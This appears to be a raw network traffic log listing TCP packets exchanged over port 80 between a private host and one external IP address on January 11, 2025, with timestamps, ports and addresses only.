Jan 11, 2025 01:29:10.350903988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350960970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.350967884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.350991964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.351027966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.351309061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.351376057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.351413012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.351424932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.351454973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.351485968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.351490974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.351516962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.351555109 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.351599932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.351629972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.351660967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.351679087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.351691008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.351725101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.351732969 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.352268934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.352307081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.352324009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.352338076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.352368116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.352374077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.352397919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.352432013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.352443933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.379168034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.379193068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.379225969 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.382384062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.382411003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.382428885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.382446051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.382448912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.382479906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.394781113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.394789934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.394805908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.394825935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.394843102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.394859076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.394869089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.394937992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.395051956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.395068884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.395086050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.395108938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.395124912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.395215034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.395215034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.395215034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.424045086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.424077034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.424093008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.424108028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.424124956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.424185038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.424251080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.436671972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.436723948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.436731100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.436745882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.436760902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.436777115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.436779976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.436793089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.436814070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.436920881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.436954975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.436961889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437036037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437051058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437067032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437069893 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.437098980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.437200069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437222958 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437237978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437252998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437259912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.437269926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437287092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.437575102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437591076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437607050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437613964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.437622070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437637091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437652111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437674046 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.437890053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437926054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437932014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.437941074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.437973976 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.438055038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438153982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438170910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438185930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438193083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438193083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.438208103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438221931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.438227892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438241959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438257933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.438257933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438275099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438277960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.438291073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438313961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.438827038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438843966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438859940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438870907 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.438896894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.438900948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438915968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438930988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438946009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438946962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.438961029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438977003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.438977957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.439011097 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.467355967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.467405081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.467444897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.468919039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.468950033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.468966007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.468981981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.468991041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.469018936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.481498957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.481621981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.481667995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.481678963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.481715918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.481750965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.481756926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.481785059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.481820107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.481821060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.481950998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.481983900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.481990099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.482017994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.482058048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.482059956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.482117891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.482155085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.482155085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.505199909 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.510097980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.510770082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.510802031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.510818005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.510833025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.510837078 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.510848999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.510859966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.510864019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.510924101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.510942936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.510957003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.510976076 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.523463964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523503065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523559093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523572922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523578882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.523587942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523597002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.523603916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523612022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523638010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523653030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523658037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.523669004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523710966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.523825884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523869038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.523895979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523910999 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523925066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523941040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.523958921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.523983002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.523992062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524008036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524023056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524044037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.524216890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524233103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524247885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524260998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.524283886 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.524286985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524302959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524317980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524334908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524337053 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.524364948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524369955 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.524379969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524395943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524415970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.524604082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524617910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524627924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524686098 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.524694920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524818897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524835110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524851084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524854898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.524874926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524884939 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.524889946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524905920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524920940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524928093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.524971008 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.524977922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.524993896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.525008917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.525026083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.525026083 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.525041103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.525055885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.525063038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.525073051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.525084972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.525094986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.525115967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.525700092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.525716066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.525732040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.525746107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.525752068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.525762081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.525777102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.525787115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.525813103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.554100990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.554125071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.554171085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.555725098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.555733919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.555747032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.555753946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.555800915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.555912018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.568342924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.568387985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.568413973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.568434954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.568438053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.568461895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.568470001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.568470955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.568483114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.568486929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.568502903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.568509102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.568520069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.568533897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.568545103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.568552017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.568564892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.568588972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.597862959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.597894907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.597912073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.597932100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.597946882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.597948074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.597963095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.597965956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.597980022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.597992897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.598025084 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.598048925 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.610455990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610522032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610538006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610554934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610563993 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.610569000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610585928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610594988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.610626936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610632896 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.610642910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610658884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610672951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610687971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610693932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.610711098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610718966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.610728979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610743046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610754013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.610759020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610774040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610778093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.610790968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610816002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.610913992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610928059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.610960960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.611387968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611403942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611419916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611433983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611434937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.611458063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611459017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.611473083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611489058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611505032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611509085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.611529112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611543894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.611546040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611562014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611572027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.611577988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611593962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611603022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.611608982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611624956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611629963 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:29:10.611641884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:29:10.611659050 CET	80	49706	193.143.1.205	192.168.2.8
